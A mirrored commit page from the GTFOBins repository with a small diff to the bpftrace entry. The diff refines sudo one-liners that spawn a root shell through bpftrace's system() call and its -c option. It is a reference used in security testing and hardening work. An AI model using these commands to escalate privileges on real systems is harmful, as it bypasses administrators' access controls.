mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 16:58:36 +01:00 
			
		
		
		
	Improve bpftrace sudo shell
This commit is contained in:
		| @@ -1,9 +1,10 @@ | ||||
| --- | ||||
| functions: | ||||
|   sudo: | ||||
|     - code: sudo bpftrace -e 'BEGIN {system("/bin/sh")}' | ||||
|     - code: sudo bpftrace -e 'BEGIN {system("/bin/sh");exit()}' | ||||
|     - code: | | ||||
|         TF=$(mktemp) | ||||
|         echo 'BEGIN {system("/bin/sh")}' >$TF | ||||
|         echo 'BEGIN {system("/bin/sh");exit()}' >$TF | ||||
|         sudo bpftrace $TF | ||||
|     - code: sudo bpftrace -c /bin/sh -e 'END {exit()}' | ||||
| --- | ||||
|   | ||||
		Reference in New Issue
	
	Block a user